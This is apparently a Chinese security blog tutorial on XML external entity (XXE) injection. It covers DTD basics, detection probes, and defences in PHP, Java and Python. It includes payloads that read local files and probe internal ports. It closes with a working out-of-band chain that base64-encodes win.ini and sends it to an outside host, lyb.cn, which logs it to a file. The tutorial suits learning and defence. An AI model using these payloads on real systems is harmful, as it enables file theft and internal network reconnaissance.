• 欢迎访问行云博客,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站,欢迎加入行云博客 QQ群
  • 本站广招各类优秀作者,详情可以加群联系
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏行云博客吧

XXE实体注入漏洞详解

web渗透 行云 2个月前 (08-24) 176次浏览 已收录 0个评论 扫描二维码

什么是XXE

XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。

原理

既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。

那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。

XXE漏洞带来的的危害

当允许引用外部实体时, XML数据在传输中有可能会被不法分子被修改,如果服务器执行被恶意插入的代码,就可以实现攻击的目的攻击者可以通过构造恶意内容,就可能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。

什么是 XML

  • XML 指可扩展标记语言(EXtensible Markup Language)。
  • XML 是一种很像HTML的标记语言。
  • XML 的设计宗旨是传输数据,而不是显示数据。
  • XML 标签没有被预定义。您需要自行定义标签。
  • XML 被设计为具有自我描述性。
  • XML 是 W3C 的推荐标准。

DTD:Document Type Definition 即文档类型定义,用来为XML文档定义语义约束。可以嵌入在XML文档中(内部声明),也可以独立的放在一个文件中(外部引用),由于其支持的数据类型有限,无法对元素或属性的内容进行详细规范,在可读性和可扩展性方面也比不上XML Schema。

DTD文档组成

1.元素(ELEMENT)的定义规则;

2.元素之间的关系规则;

3.属性(ATTLIST)的定义规则;

4.可使用的实体(ENTITY)或符号(NOTATION)规则。

寻找XXE

检测xml是否被解析

尝试注入特殊字符,使XML失效,引发解析异常,明确后端使用XML传输数据。

  • 单双引号 
    1
    '

     

    1
    "

     :XML的属性值必须用引号包裹,而数据可能进入标签的属性值。

  • 尖括号
    1
    < >

     :XML的开始/结束标签用尖括号包裹,数据中出现尖括号会引发异常。

  • 注释符
    1
    <!--

     :XML使用

    1
    <!-- This is a comment -->

    作注释。

  • 1
    &

     :& 用于引用实体。

  • CDATA 分隔符
    1
    ]]>

     :

    1
    <![CDATA[foo]]>

    中的内容不被解析器解析,提前闭合引发异常。

检测是否支持外部实体解析

尝试利用实体和DTD。

  • 引用外部DTD文件访问内网主机/端口 :
    1
    <!DOCTYPE a SYSTEM "http://127.0.0.1:2333">

    (看响应时间)

  • 引用外部DTD文件访问外网 :
    1
    <!DOCTYPE a SYSTEM "http://vps_ip" >
  • 引用内部实体 :
    1
    <!DOCTYPE a [<!ENTITY xxe "findneo">]><a>&xxe;</a>
  • 外部实体读本地文件 :
    1
    <!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/hosts">]><a>&xxe;</a>
  • 外部实体访问内网主机/端口 :
    1
    <!DOCTYPE a SYSTEM "http://192.168.1.2:80">

    (看响应时间)

  • 外部实体访问外网 :
    1
    <!DOCTYPE a [<!ENTITY xxe SYSTEM "http://vps_ip">]><a>&xxe;</a>
  • 判断问题存在可以OOB提取数据。

XXE的防御

  • 使用开发语言提供的禁用外部实体的方法

PHP

1
libxml_disable_entity_loader(true);

JAVA

1
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
1
dbf.setExpandEntityReferences(false);

Python

1
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  • 过滤用户提交的XML数据

过滤关键词:

1
<!DOCTYPE

1
<!ENTITY

,或者

1
SYSTEM

1
PUBLIC

示例

xxe1.php文件

<?php
$test =<<<EOF
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % load SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://lyb.cn/load.xml"> 
%remote;
%send; 
]>
EOF;
$obj = simplexml_load_string($test, SimpleXMLElement, LIBXML_NOENT);
?>

load.xml文件

<!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://lyb.cn/test.php?load=%load;'>"
>
%all;

text.php文件

<?php file_put_contents("load.txt",$_GET["load"],FILE_APPEND);?>

访问

1
http://192.168.1.218/xxe1.php

,将会在lyb.cn的网站下创建一个load.txt,里面含有

1
c:/windows/win.ini

文件base64编码过后的数据

XXE实体注入漏洞详解-行云博客

XXE实体注入漏洞详解-行云博客

XXE实体注入漏洞详解-行云博客
代码执行过程
XXE实体注入漏洞详解-行云博客


行云博客 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。 本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。 如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我(admin@xy586.top)联系处理。敬请谅解!

本文链接:https://www.xy586.top/38150.html

转载请注明文章来源:行云博客 » XXE实体注入漏洞详解

喜欢 (0)
[行云博客]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址